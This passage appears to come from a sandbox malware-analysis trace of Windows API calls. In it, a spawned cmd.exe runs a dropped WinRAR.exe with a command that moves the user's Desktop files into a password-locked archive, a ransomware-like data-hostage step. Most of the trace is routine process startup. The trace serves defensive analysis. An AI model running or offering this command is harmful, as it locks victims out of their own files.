returned 0xa62780 [0039.004] GetTickCount () returned 0xa62780 [0046.060] GetTickCount () returned 0xa63c19 [0046.060] Sleep (dwMilliseconds=0x64) [0046.247] Sleep (dwMilliseconds=0x64) [0047.328] Sleep (dwMilliseconds=0x64) [0049.749] Sleep (dwMilliseconds=0x64) [0050.366] Sleep (dwMilliseconds=0x64) [0051.478] Sleep (dwMilliseconds=0x64) [0051.598] Sleep (dwMilliseconds=0x64) [0052.245] Sleep (dwMilliseconds=0x64) [0052.618] Sleep (dwMilliseconds=0x64) [0053.307] Sleep (dwMilliseconds=0x64) [0053.726] Sleep (dwMilliseconds=0x64) [0054.084] Sleep (dwMilliseconds=0x64) [0054.318] Sleep (dwMilliseconds=0x64) [0054.537] Sleep (dwMilliseconds=0x64) [0054.770] Sleep (dwMilliseconds=0x64) [0055.004] Sleep (dwMilliseconds=0x64) [0055.238] Sleep (dwMilliseconds=0x64) [0055.519] Sleep (dwMilliseconds=0x64) [0055.769] Sleep (dwMilliseconds=0x64) [0055.988] Sleep (dwMilliseconds=0x64) [0056.206] Sleep (dwMilliseconds=0x64) [0056.440] Sleep (dwMilliseconds=0x64) [0056.624] Sleep (dwMilliseconds=0x64) [0058.149] Sleep (dwMilliseconds=0x64) [0058.858] Sleep (dwMilliseconds=0x64) [0059.069] Sleep (dwMilliseconds=0x64) [0059.334] Sleep (dwMilliseconds=0x64) [0059.638] Sleep (dwMilliseconds=0x64) [0059.879] Sleep (dwMilliseconds=0x64) [0060.153] Sleep (dwMilliseconds=0x64) [0060.465] Sleep (dwMilliseconds=0x64) [0060.683] Sleep (dwMilliseconds=0x64) [0060.933] Sleep (dwMilliseconds=0x64) [0061.626] Sleep (dwMilliseconds=0x64) [0061.760] Sleep (dwMilliseconds=0x64) [0062.139] Sleep (dwMilliseconds=0x64) [0063.213] Sleep (dwMilliseconds=0x64) [0063.397] Sleep (dwMilliseconds=0x64) [0063.594] Sleep (dwMilliseconds=0x64) [0063.803] Sleep (dwMilliseconds=0x64) [0064.021] Sleep (dwMilliseconds=0x64) [0064.364] Sleep (dwMilliseconds=0x64) [0065.176] Sleep (dwMilliseconds=0x64) [0065.441] Sleep (dwMilliseconds=0x64) [0065.675] Sleep (dwMilliseconds=0x64) [0065.909] Sleep (dwMilliseconds=0x64) [0066.143] Sleep (dwMilliseconds=0x64) [0066.377] Sleep (dwMilliseconds=0x64) [0066.595] Sleep (dwMilliseconds=0x64) [0066.819] Sleep (dwMilliseconds=0x64) [0067.093] Sleep (dwMilliseconds=0x64) [0067.278] Sleep (dwMilliseconds=0x64) [0067.433] Sleep (dwMilliseconds=0x64) [0067.533] Sleep (dwMilliseconds=0x64) [0067.683] Sleep (dwMilliseconds=0x64) [0067.789] Sleep (dwMilliseconds=0x64) [0067.903] Sleep (dwMilliseconds=0x64) [0068.015] Sleep (dwMilliseconds=0x64) [0068.132] Sleep (dwMilliseconds=0x64) [0068.249] Sleep (dwMilliseconds=0x64) [0068.421] Sleep (dwMilliseconds=0x64) [0068.561] Sleep (dwMilliseconds=0x64) [0068.680] Sleep (dwMilliseconds=0x64) [0068.791] Sleep (dwMilliseconds=0x64) [0068.955] Sleep (dwMilliseconds=0x64) [0069.094] Sleep (dwMilliseconds=0x64) Thread: id = 18 os_tid = 0x960 Thread: id = 19 os_tid = 0x954 Thread: id = 20 os_tid = 0x974 Thread: id = 39 os_tid = 0xad8 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4c08d000" os_pid = "0x8d4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x948" cmd_line = "\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Desktop && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" cur_dir = "C:\\Users\\WhuOXYsD\\Desktop\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 21 os_tid = 0x908 [0046.193] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x40fe20 | out: lpSystemTimeAsFileTime=0x40fe20*(dwLowDateTime=0x3132c480, dwHighDateTime=0x1d4e94c)) [0046.193] GetCurrentProcessId () returned 0x8d4 [0046.193] GetCurrentThreadId () returned 0x908 [0046.193] GetTickCount () returned 0xa63ca5 [0046.193] QueryPerformanceCounter (in: lpPerformanceCount=0x40fe18 | out: lpPerformanceCount=0x40fe18*=12153315597) returned 1 [0046.194] GetModuleHandleA (lpModuleName=0x0) returned 0x4a740000 [0046.194] __set_app_type (_Type=0x1) [0046.194] __p__fmode () returned 0x777531f4 [0046.194] __p__commode () returned 0x777531fc [0046.194] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7621a6) returned 0x0 [0046.194] __getmainargs (in: _Argc=0x4a764238, _Argv=0x4a764240, _Env=0x4a76423c, _DoWildCard=0, _StartInfo=0x4a764140 | out: _Argc=0x4a764238, _Argv=0x4a764240, _Env=0x4a76423c) returned 0 [0046.194] GetCurrentThreadId () returned 0x908 [0046.194] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x908) returned 0x60 [0046.194] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x769a0000 [0046.194] GetProcAddress (hModule=0x769a0000, lpProcName="SetThreadUILanguage") returned 0x769ca84f [0046.194] SetThreadUILanguage (LangId=0x0) returned 0x409 [0046.194] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0046.194] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x40fdb0 | out: phkResult=0x40fdb0*=0x0) returned 0x2 [0046.195] VirtualQuery (in: lpAddress=0x40fde7, lpBuffer=0x40fd80, dwLength=0x1c | out: lpBuffer=0x40fd80*(BaseAddress=0x40f000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.195] VirtualQuery (in: lpAddress=0x310000, lpBuffer=0x40fd80, dwLength=0x1c | out: lpBuffer=0x40fd80*(BaseAddress=0x310000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0046.195] VirtualQuery (in: lpAddress=0x311000, lpBuffer=0x40fd80, dwLength=0x1c | out: lpBuffer=0x40fd80*(BaseAddress=0x311000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0046.195] VirtualQuery (in: lpAddress=0x313000, lpBuffer=0x40fd80, dwLength=0x1c | out: lpBuffer=0x40fd80*(BaseAddress=0x313000, AllocationBase=0x310000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0046.195] VirtualQuery (in: lpAddress=0x410000, lpBuffer=0x40fd80, dwLength=0x1c | out: lpBuffer=0x40fd80*(BaseAddress=0x410000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xd0000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0046.195] GetConsoleOutputCP () returned 0x1b5 [0046.195] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0046.195] SetConsoleCtrlHandler (HandlerRoutine=0x4a75e72a, Add=1) returned 1 [0046.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.195] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0046.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.195] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7641ac | out: lpMode=0x4a7641ac) returned 1 [0046.195] _get_osfhandle (_FileHandle=1) returned 0x7 [0046.195] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0046.196] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.196] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7641b0 | out: lpMode=0x4a7641b0) returned 1 [0046.196] _get_osfhandle (_FileHandle=0) returned 0x3 [0046.196] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0046.196] GetEnvironmentStringsW () returned 0x4f2178* [0046.196] GetProcessHeap () returned 0x4e0000 [0046.196] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xaac) returned 0x4f2c30 [0046.196] FreeEnvironmentStringsW (penv=0x4f2178) returned 1 [0046.196] GetProcessHeap () returned 0x4e0000 [0046.196] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4) returned 0x4f1858 [0046.196] GetEnvironmentStringsW () returned 0x4f2178* [0046.196] GetProcessHeap () returned 0x4e0000 [0046.196] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xaac) returned 0x4f36e8 [0046.197] FreeEnvironmentStringsW (penv=0x4f2178) returned 1 [0046.197] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x40ed20 | out: phkResult=0x40ed20*=0x68) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x0, lpData=0x40ed2c*=0x0, lpcbData=0x40ed24*=0x1000) returned 0x2 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x1, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x0, lpData=0x40ed2c*=0x1, lpcbData=0x40ed24*=0x1000) returned 0x2 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x0, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x40, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x40, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x0, lpData=0x40ed2c*=0x40, lpcbData=0x40ed24*=0x1000) returned 0x2 [0046.197] RegCloseKey (hKey=0x68) returned 0x0 [0046.197] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x40ed20 | out: phkResult=0x40ed20*=0x68) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x0, lpData=0x40ed2c*=0x40, lpcbData=0x40ed24*=0x1000) returned 0x2 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x1, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x0, lpData=0x40ed2c*=0x1, lpcbData=0x40ed24*=0x1000) returned 0x2 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x0, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x9, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x4, lpData=0x40ed2c*=0x9, lpcbData=0x40ed24*=0x4) returned 0x0 [0046.197] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x40ed28, lpData=0x40ed2c, lpcbData=0x40ed24*=0x1000 | out: lpType=0x40ed28*=0x0, lpData=0x40ed2c*=0x9, lpcbData=0x40ed24*=0x1000) returned 0x2 [0046.197] RegCloseKey (hKey=0x68) returned 0x0 [0046.197] time (in: timer=0x0 | out: timer=0x0) returned 0x5ca34fbf [0046.197] srand (_Seed=0x5ca34fbf) [0046.197] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Desktop && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0046.197] GetCommandLineW () returned="\"C:\\Windows\\System32\\cmd.exe\" /C cd C:\\Users\\WhuOXYsD\\Desktop && C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Desktop *" [0046.198] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.198] GetProcessHeap () returned 0x4e0000 [0046.198] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f2178 [0046.198] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4f2180, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0046.198] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0046.198] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.198] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.198] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.198] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.198] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.198] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.198] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.198] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.198] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.198] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.198] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.198] GetProcessHeap () returned 0x4e0000 [0046.198] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f2c30 | out: hHeap=0x4e0000) returned 1 [0046.198] GetEnvironmentStringsW () returned 0x4f2390* [0046.198] GetProcessHeap () returned 0x4e0000 [0046.198] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xac4) returned 0x4f4c70 [0046.198] FreeEnvironmentStringsW (penv=0x4f2390) returned 1 [0046.198] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0046.198] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a770640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.198] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.198] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.198] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.198] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.198] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.198] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.199] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.199] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.199] GetProcessHeap () returned 0x4e0000 [0046.199] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x3c) returned 0x4f1ff8 [0046.199] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x40faec | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.199] GetFullPathNameW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", nBufferLength=0x104, lpBuffer=0x40faec, lpFilePart=0x40fae8 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop", lpFilePart=0x40fae8*="Desktop") returned 0x19 [0046.199] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.199] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x40f868 | out: lpFindFileData=0x40f868) returned 0x4f5740 [0046.199] FindClose (in: hFindFile=0x4f5740 | out: hFindFile=0x4f5740) returned 1 [0046.199] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD", lpFindFileData=0x40f868 | out: lpFindFileData=0x40f868) returned 0x4f5740 [0046.199] FindClose (in: hFindFile=0x4f5740 | out: hFindFile=0x4f5740) returned 1 [0046.199] FindFirstFileW (in: lpFileName="C:\\Users\\WhuOXYsD\\Desktop", lpFindFileData=0x40f868 | out: lpFindFileData=0x40f868) returned 0x4f5740 [0046.199] FindClose (in: hFindFile=0x4f5740 | out: hFindFile=0x4f5740) returned 1 [0046.199] GetFileAttributesW (lpFileName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 0x11 [0046.199] SetCurrentDirectoryW (lpPathName="C:\\Users\\WhuOXYsD\\Desktop" (normalized: "c:\\users\\whuoxysd\\desktop")) returned 1 [0046.199] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\WhuOXYsD\\Desktop") returned 1 [0046.199] GetProcessHeap () returned 0x4e0000 [0046.199] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4c70 | out: hHeap=0x4e0000) returned 1 [0046.199] GetEnvironmentStringsW () returned 0x4f41a0* [0046.200] GetProcessHeap () returned 0x4e0000 [0046.200] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xb00) returned 0x4f5f80 [0046.200] FreeEnvironmentStringsW (penv=0x4f41a0) returned 1 [0046.200] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a765260 | out: lpBuffer="C:\\Users\\WhuOXYsD\\Desktop") returned 0x19 [0046.200] GetProcessHeap () returned 0x4e0000 [0046.200] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f1ff8 | out: hHeap=0x4e0000) returned 1 [0046.200] GetProcessHeap () returned 0x4e0000 [0046.200] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400e) returned 0x4f6a88 [0046.200] GetProcessHeap () returned 0x4e0000 [0046.200] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe6) returned 0x4f2e98 [0046.200] GetProcessHeap () returned 0x4e0000 [0046.200] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6a88 | out: hHeap=0x4e0000) returned 1 [0046.200] GetConsoleOutputCP () returned 0x1b5 [0046.200] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a764260 | out: lpCPInfo=0x4a764260) returned 1 [0046.200] GetUserDefaultLCID () returned 0x409 [0046.272] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a764950, cchData=8 | out: lpLCData=":") returned 2 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x40fc2c, cchData=128 | out: lpLCData="0") returned 2 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x40fc2c, cchData=128 | out: lpLCData="0") returned 2 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x40fc2c, cchData=128 | out: lpLCData="1") returned 2 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a764940, cchData=8 | out: lpLCData="/") returned 2 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a764d80, cchData=32 | out: lpLCData="Mon") returned 4 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a764d40, cchData=32 | out: lpLCData="Tue") returned 4 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a764d00, cchData=32 | out: lpLCData="Wed") returned 4 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a764cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0046.284] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a764c80, cchData=32 | out: lpLCData="Fri") returned 4 [0046.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a764c40, cchData=32 | out: lpLCData="Sat") returned 4 [0046.285] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a764c00, cchData=32 | out: lpLCData="Sun") returned 4 [0046.285] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a764930, cchData=8 | out: lpLCData=".") returned 2 [0046.285] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a764920, cchData=8 | out: lpLCData=",") returned 2 [0046.285] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.285] GetProcessHeap () returned 0x4e0000 [0046.285] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x0, Size=0x20c) returned 0x4f2f88 [0046.286] GetConsoleTitleW (in: lpConsoleTitle=0x4f2f88, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.286] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x769a0000 [0046.286] GetProcAddress (hModule=0x769a0000, lpProcName="CopyFileExW") returned 0x769d3b92 [0046.286] GetProcAddress (hModule=0x769a0000, lpProcName="IsDebuggerPresent") returned 0x769b4a5d [0046.286] GetProcAddress (hModule=0x769a0000, lpProcName="SetConsoleInputExeNameW") returned 0x769ca79d [0046.286] GetProcessHeap () returned 0x4e0000 [0046.286] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f6a88 [0046.286] GetProcessHeap () returned 0x4e0000 [0046.286] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6a88 | out: hHeap=0x4e0000) returned 1 [0046.286] _wcsicmp (_String1="cd", _String2=")") returned 58 [0046.286] _wcsicmp (_String1="FOR", _String2="cd") returned 3 [0046.286] _wcsicmp (_String1="FOR/?", _String2="cd") returned 3 [0046.286] _wcsicmp (_String1="IF", _String2="cd") returned 6 [0046.286] _wcsicmp (_String1="IF/?", _String2="cd") returned 6 [0046.286] _wcsicmp (_String1="REM", _String2="cd") returned 15 [0046.287] _wcsicmp (_String1="REM/?", _String2="cd") returned 15 [0046.287] GetProcessHeap () returned 0x4e0000 [0046.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f31a0 [0046.287] GetProcessHeap () returned 0x4e0000 [0046.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f0058 [0046.287] GetProcessHeap () returned 0x4e0000 [0046.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x40) returned 0x4f3200 [0046.287] GetProcessHeap () returned 0x4e0000 [0046.287] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f3248 [0046.289] _wcsicmp (_String1="FOR", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0046.289] _wcsicmp (_String1="FOR/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 3 [0046.289] _wcsicmp (_String1="IF", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0046.289] _wcsicmp (_String1="IF/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 6 [0046.289] _wcsicmp (_String1="REM", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0046.289] _wcsicmp (_String1="REM/?", _String2="C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe") returned 15 [0046.289] GetProcessHeap () returned 0x4e0000 [0046.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f32a8 [0046.289] GetProcessHeap () returned 0x4e0000 [0046.289] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x6a) returned 0x4f3308 [0046.290] GetProcessHeap () returned 0x4e0000 [0046.290] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x42) returned 0x4f3380 [0046.290] GetConsoleTitleW (in: lpConsoleTitle=0x40f8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0046.290] _wcsicmp (_String1="cd", _String2="DIR") returned -1 [0046.291] _wcsicmp (_String1="cd", _String2="ERASE") returned -2 [0046.291] _wcsicmp (_String1="cd", _String2="DEL") returned -1 [0046.291] _wcsicmp (_String1="cd", _String2="TYPE") returned -17 [0046.291] _wcsicmp (_String1="cd", _String2="COPY") returned -11 [0046.291] _wcsicmp (_String1="cd", _String2="CD") returned 0 [0046.291] GetProcessHeap () returned 0x4e0000 [0046.291] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x78) returned 0x4f6aa0 [0046.292] GetProcessHeap () returned 0x4e0000 [0046.292] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6aa0, Size=0x3e) returned 0x4f33d0 [0046.292] GetProcessHeap () returned 0x4e0000 [0046.292] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f33d0) returned 0x3e [0046.292] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.292] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0046.292] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x40f67c, nVolumeNameSize=0x104, lpVolumeSerialNumber=0x40f674, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer="SYSTEM", lpVolumeSerialNumber=0x40f674*=0xf0d19656, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.292] GetProcessHeap () returned 0x4e0000 [0046.292] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x46) returned 0x4f3418 [0046.292] GetProcessHeap () returned 0x4e0000 [0046.292] RtlAllocateHeap (HeapHandle=0x4e0000, 